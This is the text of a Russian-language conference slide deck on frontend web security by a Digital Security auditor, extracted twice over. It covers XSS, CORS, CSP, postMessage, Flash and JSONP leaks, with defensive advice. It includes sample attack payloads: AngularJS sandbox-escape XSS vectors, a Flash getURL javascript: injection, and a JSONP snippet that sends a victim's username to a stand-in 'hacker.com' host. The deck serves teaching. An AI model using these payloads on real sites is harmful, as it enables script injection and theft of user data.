(Не)безопасный frontend
Сергей Белов
аудитор ИБ Digital Security
# whoami
© 2002—2015, Digital Security 2
(Не)безопасный frontend
Work/Activity
BugHuting
Speaker
О чём разговор?
© 2002—2015, Digital Security 3
(Не)безопасный frontend
SOP
Same Origin Policy
scheme://domain:port
+ усиление безопасности
Межсайтовый скриптинг
© 2002—2015, Digital Security 4
(Не)безопасный frontend
Межсайтовый скриптинг
Межсайтовый скриптинг
© 2002—2015, Digital Security 5
(Не)безопасный frontend
Межсайтовый скриптинг (XSS)
 Хранимые (server side)
 Отраженные (server side)
 DOM (client side!)
Межсайтовый скриптинг
© 2002—2015, Digital Security 6
(Не)безопасный frontend
document.write("Site is at: " + document.location.href);
http://victim.com/action#<script>alert('xss')</script>
Межсайтовый скриптинг
© 2002—2015, Digital Security 7
(Не)безопасный frontend
Sources
 document.URL
 location
 document.referrer
 window.name
 localStorage
 cookies
 …
Межсайтовый скриптинг
© 2002—2015, Digital Security 8
(Не)безопасный frontend
Sinks
 eval
 document.write
 (element).innerHTML
 (element).src
 setTimeout / setInterval
 execScript
 …
https://code.google.com/p/domxsswiki/
http://habrahabr.ru/company/xakep/blog/189210/
Межсайтовый скриптинг
© 2002—2015, Digital Security 9
(Не)безопасный frontend
Утечки информации
© 2002—2015, Digital Security 10
(Не)безопасный frontend
Утечки информации
© 2002—2015, Digital Security 11
(Не)безопасный frontend
testServer = host.match(/[^.]+.((?:f|my.XXX)d*).YYY.ru/)
devServer = host.match(/^.+.dev.YYY.ru$/),
isXXX = testServer && testServer[1].indexOf('my.XXX') == 0,
...
internalDevHOST = '172.16.22.2';
internalProdHOST = '172.16.22.5';
...
file:///applications/releases.../sidebar.scss
Утечки информации
MVC фреймворки
© 2002—2015, Digital Security 12
(Не)безопасный frontend
MVC фреймворки
MVC фреймворки
© 2002—2015, Digital Security 13
(Не)безопасный frontend
MVC фреймворки
© 2002—2015, Digital Security 14
(Не)безопасный frontend
Фреймворки помогают расширить работу с DOM
- Шаблонизаторы
- Новые элементы <rockyou></rockyou>
- Биндинги
MVC фреймворки
© 2002—2015, Digital Security 15
(Не)безопасный frontend
Logic-less templates
<ul>
<li ng-repeat="phone in phones">
<span>{{phone.name}}</span>
<p>{{phone.snippet}}</p>
</li>
</ul>
MVC фреймворки
© 2002—2015, Digital Security 16
(Не)безопасный frontend
Фигурные скобки
<ul>
<li ng-repeat="phone in phones">
<span>{{phone.name}}</span>
<p>{{phone.snippet}}</p>
</li>
</ul>
MVC фреймворки
© 2002—2015, Digital Security 17
(Не)безопасный frontend
Logic-less templates.
http://mustache.github.io/
JSMVC фреймворки
© 2002—2015, Digital Security 18
(Не)безопасный frontend
MVC фреймворки
© 2002—2015, Digital Security 19
(Не)безопасный frontend
•VueJS
•AngularJS
•CanJS
•Underscore.js
•KnockoutJS
•Ember.js
•Polymer
•Ractive.js
•jQuery
•JsRender
•Kendo UI
Mustache Security
https://code.google.com/p/mustache-security/
MVC фреймворки
© 2002—2015, Digital Security 20
(Не)безопасный frontend
Mustache Security
AngularJS (1.1.5) – Межсайтовый скриптинг
<div class="ng-app">
{{constructor.constructor('alert(1)')()}}
</div>
MVC фреймворки
© 2002—2015, Digital Security 21
(Не)безопасный frontend
Mustache Security
AngularJS (1.2.18) – Межсайтовый скриптинг, после
фиксов
{{
(_=''.sub).call.call({}[$='constructor']
.getOwnPropertyDescriptor(_.__proto__,$)
.value,0,'alert(1)')()
}}
MVC фреймворки
© 2002—2015, Digital Security 22
(Не)безопасный frontend
Обновление фрейморков важно для
безопасности!
Cookies
© 2002—2015, Digital Security 23
(Не)безопасный frontend
Cookies
Cookies
© 2002—2015, Digital Security 24
(Не)безопасный frontend
Обычно
<?php
setcookie('foo','bar1');
?>
import Cookie
C = Cookie.SimpleCookie()
C["foo"] = "bar"
print C
Set-Cookie: foo=bar
Cookies
© 2002—2015, Digital Security 25
(Не)безопасный frontend
Правильно:
1) Указывать домен для установки cookies
2) HttpOnly для сессионных значений (phpsessid…)
3) Secure в случае “HTTPS only”
Переход на HTTPS
© 2002—2015, Digital Security 26
(Не)безопасный frontend
Переход на HTTPS
Переход на HTTPS
© 2002—2015, Digital Security 27
(Не)безопасный frontend
Server side:
• Выбор сертификата
• Настройка вебсервера (ciphersuite и т.п.)
• Перенаправление
Переход на HTTPS
© 2002—2015, Digital Security 28
(Не)безопасный frontend
Client side
• Запрещаем заходить по HTTP – HSTS
Strict-Transport-Security: max-age=31536000;
• Добавляем свой ресурс в HSTS preload list
http://www.chromium.org/hsts
Безопасность HTML5
© 2002—2015, Digital Security 29
(Не)безопасный frontend
Безопасность HTML5
Безопасность HTML5
© 2002—2015, Digital Security 30
(Не)безопасный frontend
otherWindow.postMessage(message, targetOrigin);
Window.postMessage()
window.addEventListener("message", receiveMessage, false);
function receiveMessage(event)
{
if (event.origin !== "http://example.org:8080")
return;
// ...
}
Домен A
Домен B
Безопасность HTML5
© 2002—2015, Digital Security 31
(Не)безопасный frontend
Window.postMessage()
if(message.orgin.indexOf(".example.com")!=-1)
{
/* ... */
}
Неправильно!
example.com.attacker.com
Безопасность HTML5
© 2002—2015, Digital Security 32
(Не)безопасный frontend
HTTP access control (CORS)
1) Модно
2) Безопасно
3) Накосячить очень сложно 
Безопасность HTML5
© 2002—2015, Digital Security 33
(Не)безопасный frontend
Cross-origin resource sharing (CORS)
В ответе веб-сервера:
Access-Control-Allow-Origin: *
Означает отдавать контент всем
Безопасность HTML5
© 2002—2015, Digital Security 34
(Не)безопасный frontend
Cross-origin resource sharing (CORS)
В ответе веб-сервера:
Access-Control-Allow-Origin: *
Означает отдавать контент всем
Но это правило несовместимо с заголовком
Access-Control-Allow-Credentials: true
Безопасность HTML5
© 2002—2015, Digital Security 35
(Не)безопасный frontend
Web Sockets
1) Нет авторизации
2) WSS:// для важных данных
3) Валидацию никто не отменял (сервер/клиент)
4) Проверка Origin (не отменяет п. 1)
5) …
https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet
Безопасность HTML5
© 2002—2015, Digital Security 36
(Не)безопасный frontend
Content Security Policy
Указывает браузеру доверенные домены для
различных ресурсов (картинки, js, css...)
X-Content-Security-Policy: script-src js.example.com
Безопасность HTML5
© 2002—2015, Digital Security 37
(Не)безопасный frontend
Безопасность HTML5
© 2002—2015, Digital Security 38
(Не)безопасный frontend
Обход
1) Возможность загружать файлы на разрешенные
домены в CSP (приложения в почте, сообщениях)
2) Загрузить js файл и подключить
Flash
© 2002—2015, Digital Security 39
(Не)безопасный frontend
Flash
Flash
© 2002—2015, Digital Security 40
(Не)безопасный frontend
Магический crossdomain.xml
Самый частый случай
Flash
© 2002—2015, Digital Security 41
(Не)безопасный frontend
Магический crossdomain.xml
Чуть реже
• Множество доменов, в т.ч. от старых названий и
проектов (wamba.com bugbounty – 3000 рублей)
• Разрешены домены для приложений из соц. сетей
Flash
© 2002—2015, Digital Security 42
(Не)безопасный frontend
XSS через Flash - пример с getURL
Уязвимый код
getURL(_root.URI,'_targetFrame');
Пример эксплуатации
http://victim/file.swf?URI=javascript:evilcode
getURL('javascript:evilcode','_self');
Больше про Cross Site Flashing на OWASP
Flash
© 2002—2015, Digital Security 43
(Не)безопасный frontend
CVE-2011-2461 IS BACK!
1) SWF должен быть собран с уязвимой версией
Adobe Flex
2) Дает полный обход SOP
Flash
© 2002—2015, Digital Security 44
(Не)безопасный frontend
CVE-2011-2461 IS BACK!
Для проверки можно использовать ParrotNG
https://github.com/ikkisoft/ParrotNG/
java -jar parrotng_v0.2.jar <SWF File | Directory>
Больше информации
• http://blog.nibblesec.org/2015/03/the-old-is-new-again-cve-2011-2461-is.html
• http://www.slideshare.net/ikkisoft/the-old-is-new-again-cve20112461-is-back
Раскрытие информации через JSONP
© 2002—2015, Digital Security 45
(Не)безопасный frontend
Раскрытие информации
через JSONP
Раскрытие информации через JSONP
© 2002—2015, Digital Security 46
(Не)безопасный frontend
JSONP leaks
© 2002—2015, Digital Security 47
(Не)безопасный frontend
JSONP leaks
© 2002—2015, Digital Security 48
(Не)безопасный frontend
http://habrahabr.ru/post/186160/
<script>
function func(obj) {
var url = "http://hacker.com/log?val="+obj['username'];
$.get(url);
}
</script>
<script src="http://victim.com/api/getUserInfo?callback=func">
</script>
X-Frame-Options
© 2002—2015, Digital Security 49
(Не)безопасный frontend
X-Frame-Options
X-Frame-Options
© 2002—2015, Digital Security 50
(Не)безопасный frontend
X-Frame-Options в ответе веб-сервера позволяет
1) Полностью запретить показ страницы во фрейме
2) Частично запретить (например, разрешить только
для того же origin)
X-Frame-Options
© 2002—2015, Digital Security 51
(Не)безопасный frontend
Extensions / SmartTV
© 2002—2015, Digital Security 52
(Не)безопасный frontend
Extensions / SmartTV
Extensions / SmartTV
© 2002—2015, Digital Security 53
(Не)безопасный frontend
Расширения для браузера?
-JS/HTML/CSS
- Взаимодействие с DOM
- Неограниченные XHR запросы
- Расширенное API
Приложения для SmartTV – тоже самое.
Extensions / SmartTV
© 2002—2015, Digital Security 54
(Не)безопасный frontend
Extensions / SmartTV
© 2002—2015, Digital Security 55
(Не)безопасный frontend
Видео
© 2002—2015, Digital Security 56
(Не)безопасный frontend
На десерт
© 2002—2015, Digital Security 57
(Не)безопасный frontend
<a href=“http://external.com”>Go!</a>
В заголовках будет
Referer: http://yoursite.com/
А что в случае с изображениями, стилями, JS файлами?
© 2002—2015, Digital Security 58
(Не)безопасный frontend
http://super-website.com/user/passRecovery?t=SECRET
...
<img src=http://comics.com/password.jpg>
...
Владелец
comics.com
Знает все секретные токены (для сброса пароля!)
twitter.com/sergeybelove
sbelov@dsec.ru
© 2002—2015, Digital Security
Digital Security в Москве: (495) 223-07-86
Digital Security в Санкт-Петербурге: (812) 703-15-47
59
Тестируйте безопасность!

(Не)безопасный frontend

  • 1.
  • 2.
    # whoami © 2002—2015,Digital Security 2 (Не)безопасный frontend Work/Activity BugHuting Speaker
  • 3.
    О чём разговор? ©2002—2015, Digital Security 3 (Не)безопасный frontend SOP Same Origin Policy scheme://domain:port + усиление безопасности
  • 4.
    Межсайтовый скриптинг © 2002—2015,Digital Security 4 (Не)безопасный frontend Межсайтовый скриптинг
  • 5.
    Межсайтовый скриптинг © 2002—2015,Digital Security 5 (Не)безопасный frontend Межсайтовый скриптинг (XSS)  Хранимые (server side)  Отраженные (server side)  DOM (client side!)
  • 6.
    Межсайтовый скриптинг © 2002—2015,Digital Security 6 (Не)безопасный frontend document.write("Site is at: " + document.location.href); http://victim.com/action#<script>alert('xss')</script>
  • 7.
    Межсайтовый скриптинг © 2002—2015,Digital Security 7 (Не)безопасный frontend Sources  document.URL  location  document.referrer  window.name  localStorage  cookies  …
  • 8.
    Межсайтовый скриптинг © 2002—2015,Digital Security 8 (Не)безопасный frontend Sinks  eval  document.write  (element).innerHTML  (element).src  setTimeout / setInterval  execScript  … https://code.google.com/p/domxsswiki/ http://habrahabr.ru/company/xakep/blog/189210/
  • 9.
    Межсайтовый скриптинг © 2002—2015,Digital Security 9 (Не)безопасный frontend
  • 10.
    Утечки информации © 2002—2015,Digital Security 10 (Не)безопасный frontend Утечки информации
  • 11.
    © 2002—2015, DigitalSecurity 11 (Не)безопасный frontend testServer = host.match(/[^.]+.((?:f|my.XXX)d*).YYY.ru/) devServer = host.match(/^.+.dev.YYY.ru$/), isXXX = testServer && testServer[1].indexOf('my.XXX') == 0, ... internalDevHOST = '172.16.22.2'; internalProdHOST = '172.16.22.5'; ... file:///applications/releases.../sidebar.scss Утечки информации
  • 12.
    MVC фреймворки © 2002—2015,Digital Security 12 (Не)безопасный frontend MVC фреймворки
  • 13.
    MVC фреймворки © 2002—2015,Digital Security 13 (Не)безопасный frontend
  • 14.
    MVC фреймворки © 2002—2015,Digital Security 14 (Не)безопасный frontend Фреймворки помогают расширить работу с DOM - Шаблонизаторы - Новые элементы <rockyou></rockyou> - Биндинги
  • 15.
    MVC фреймворки © 2002—2015,Digital Security 15 (Не)безопасный frontend Logic-less templates <ul> <li ng-repeat="phone in phones"> <span>{{phone.name}}</span> <p>{{phone.snippet}}</p> </li> </ul>
  • 16.
    MVC фреймворки © 2002—2015,Digital Security 16 (Не)безопасный frontend Фигурные скобки <ul> <li ng-repeat="phone in phones"> <span>{{phone.name}}</span> <p>{{phone.snippet}}</p> </li> </ul>
  • 17.
    MVC фреймворки © 2002—2015,Digital Security 17 (Не)безопасный frontend Logic-less templates. http://mustache.github.io/
  • 18.
    JSMVC фреймворки © 2002—2015,Digital Security 18 (Не)безопасный frontend
  • 19.
    MVC фреймворки © 2002—2015,Digital Security 19 (Не)безопасный frontend •VueJS •AngularJS •CanJS •Underscore.js •KnockoutJS •Ember.js •Polymer •Ractive.js •jQuery •JsRender •Kendo UI Mustache Security https://code.google.com/p/mustache-security/
  • 20.
    MVC фреймворки © 2002—2015,Digital Security 20 (Не)безопасный frontend Mustache Security AngularJS (1.1.5) – Межсайтовый скриптинг <div class="ng-app"> {{constructor.constructor('alert(1)')()}} </div>
  • 21.
    MVC фреймворки © 2002—2015,Digital Security 21 (Не)безопасный frontend Mustache Security AngularJS (1.2.18) – Межсайтовый скриптинг, после фиксов {{ (_=''.sub).call.call({}[$='constructor'] .getOwnPropertyDescriptor(_.__proto__,$) .value,0,'alert(1)')() }}
  • 22.
    MVC фреймворки © 2002—2015,Digital Security 22 (Не)безопасный frontend Обновление фрейморков важно для безопасности!
  • 23.
    Cookies © 2002—2015, DigitalSecurity 23 (Не)безопасный frontend Cookies
  • 24.
    Cookies © 2002—2015, DigitalSecurity 24 (Не)безопасный frontend Обычно <?php setcookie('foo','bar1'); ?> import Cookie C = Cookie.SimpleCookie() C["foo"] = "bar" print C Set-Cookie: foo=bar
  • 25.
    Cookies © 2002—2015, DigitalSecurity 25 (Не)безопасный frontend Правильно: 1) Указывать домен для установки cookies 2) HttpOnly для сессионных значений (phpsessid…) 3) Secure в случае “HTTPS only”
  • 26.
    Переход на HTTPS ©2002—2015, Digital Security 26 (Не)безопасный frontend Переход на HTTPS
  • 27.
    Переход на HTTPS ©2002—2015, Digital Security 27 (Не)безопасный frontend Server side: • Выбор сертификата • Настройка вебсервера (ciphersuite и т.п.) • Перенаправление
  • 28.
    Переход на HTTPS ©2002—2015, Digital Security 28 (Не)безопасный frontend Client side • Запрещаем заходить по HTTP – HSTS Strict-Transport-Security: max-age=31536000; • Добавляем свой ресурс в HSTS preload list http://www.chromium.org/hsts
  • 29.
    Безопасность HTML5 © 2002—2015,Digital Security 29 (Не)безопасный frontend Безопасность HTML5
  • 30.
    Безопасность HTML5 © 2002—2015,Digital Security 30 (Не)безопасный frontend otherWindow.postMessage(message, targetOrigin); Window.postMessage() window.addEventListener("message", receiveMessage, false); function receiveMessage(event) { if (event.origin !== "http://example.org:8080") return; // ... } Домен A Домен B
  • 31.
    Безопасность HTML5 © 2002—2015,Digital Security 31 (Не)безопасный frontend Window.postMessage() if(message.orgin.indexOf(".example.com")!=-1) { /* ... */ } Неправильно! example.com.attacker.com
  • 32.
    Безопасность HTML5 © 2002—2015,Digital Security 32 (Не)безопасный frontend HTTP access control (CORS) 1) Модно 2) Безопасно 3) Накосячить очень сложно 
  • 33.
    Безопасность HTML5 © 2002—2015,Digital Security 33 (Не)безопасный frontend Cross-origin resource sharing (CORS) В ответе веб-сервера: Access-Control-Allow-Origin: * Означает отдавать контент всем
  • 34.
    Безопасность HTML5 © 2002—2015,Digital Security 34 (Не)безопасный frontend Cross-origin resource sharing (CORS) В ответе веб-сервера: Access-Control-Allow-Origin: * Означает отдавать контент всем Но это правило несовместимо с заголовком Access-Control-Allow-Credentials: true
  • 35.
    Безопасность HTML5 © 2002—2015,Digital Security 35 (Не)безопасный frontend Web Sockets 1) Нет авторизации 2) WSS:// для важных данных 3) Валидацию никто не отменял (сервер/клиент) 4) Проверка Origin (не отменяет п. 1) 5) … https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet
  • 36.
    Безопасность HTML5 © 2002—2015,Digital Security 36 (Не)безопасный frontend Content Security Policy Указывает браузеру доверенные домены для различных ресурсов (картинки, js, css...) X-Content-Security-Policy: script-src js.example.com
  • 37.
    Безопасность HTML5 © 2002—2015,Digital Security 37 (Не)безопасный frontend
  • 38.
    Безопасность HTML5 © 2002—2015,Digital Security 38 (Не)безопасный frontend Обход 1) Возможность загружать файлы на разрешенные домены в CSP (приложения в почте, сообщениях) 2) Загрузить js файл и подключить
  • 39.
    Flash © 2002—2015, DigitalSecurity 39 (Не)безопасный frontend Flash
  • 40.
    Flash © 2002—2015, DigitalSecurity 40 (Не)безопасный frontend Магический crossdomain.xml Самый частый случай
  • 41.
    Flash © 2002—2015, DigitalSecurity 41 (Не)безопасный frontend Магический crossdomain.xml Чуть реже • Множество доменов, в т.ч. от старых названий и проектов (wamba.com bugbounty – 3000 рублей) • Разрешены домены для приложений из соц. сетей
  • 42.
    Flash © 2002—2015, DigitalSecurity 42 (Не)безопасный frontend XSS через Flash - пример с getURL Уязвимый код getURL(_root.URI,'_targetFrame'); Пример эксплуатации http://victim/file.swf?URI=javascript:evilcode getURL('javascript:evilcode','_self'); Больше про Cross Site Flashing на OWASP
  • 43.
    Flash © 2002—2015, DigitalSecurity 43 (Не)безопасный frontend CVE-2011-2461 IS BACK! 1) SWF должен быть собран с уязвимой версией Adobe Flex 2) Дает полный обход SOP
  • 44.
    Flash © 2002—2015, DigitalSecurity 44 (Не)безопасный frontend CVE-2011-2461 IS BACK! Для проверки можно использовать ParrotNG https://github.com/ikkisoft/ParrotNG/ java -jar parrotng_v0.2.jar <SWF File | Directory> Больше информации • http://blog.nibblesec.org/2015/03/the-old-is-new-again-cve-2011-2461-is.html • http://www.slideshare.net/ikkisoft/the-old-is-new-again-cve20112461-is-back
  • 45.
    Раскрытие информации черезJSONP © 2002—2015, Digital Security 45 (Не)безопасный frontend Раскрытие информации через JSONP
  • 46.
    Раскрытие информации черезJSONP © 2002—2015, Digital Security 46 (Не)безопасный frontend
  • 47.
    JSONP leaks © 2002—2015,Digital Security 47 (Не)безопасный frontend
  • 48.
    JSONP leaks © 2002—2015,Digital Security 48 (Не)безопасный frontend http://habrahabr.ru/post/186160/ <script> function func(obj) { var url = "http://hacker.com/log?val="+obj['username']; $.get(url); } </script> <script src="http://victim.com/api/getUserInfo?callback=func"> </script>
  • 49.
    X-Frame-Options © 2002—2015, DigitalSecurity 49 (Не)безопасный frontend X-Frame-Options
  • 50.
    X-Frame-Options © 2002—2015, DigitalSecurity 50 (Не)безопасный frontend X-Frame-Options в ответе веб-сервера позволяет 1) Полностью запретить показ страницы во фрейме 2) Частично запретить (например, разрешить только для того же origin)
  • 51.
    X-Frame-Options © 2002—2015, DigitalSecurity 51 (Не)безопасный frontend
  • 52.
    Extensions / SmartTV ©2002—2015, Digital Security 52 (Не)безопасный frontend Extensions / SmartTV
  • 53.
    Extensions / SmartTV ©2002—2015, Digital Security 53 (Не)безопасный frontend Расширения для браузера? -JS/HTML/CSS - Взаимодействие с DOM - Неограниченные XHR запросы - Расширенное API Приложения для SmartTV – тоже самое.
  • 54.
    Extensions / SmartTV ©2002—2015, Digital Security 54 (Не)безопасный frontend
  • 55.
    Extensions / SmartTV ©2002—2015, Digital Security 55 (Не)безопасный frontend Видео
  • 56.
    © 2002—2015, DigitalSecurity 56 (Не)безопасный frontend На десерт
  • 57.
    © 2002—2015, DigitalSecurity 57 (Не)безопасный frontend <a href=“http://external.com”>Go!</a> В заголовках будет Referer: http://yoursite.com/ А что в случае с изображениями, стилями, JS файлами?
  • 58.
    © 2002—2015, DigitalSecurity 58 (Не)безопасный frontend http://super-website.com/user/passRecovery?t=SECRET ... <img src=http://comics.com/password.jpg> ... Владелец comics.com Знает все секретные токены (для сброса пароля!)
  • 59.
    twitter.com/sergeybelove sbelov@dsec.ru © 2002—2015, DigitalSecurity Digital Security в Москве: (495) 223-07-86 Digital Security в Санкт-Петербурге: (812) 703-15-47 59 Тестируйте безопасность!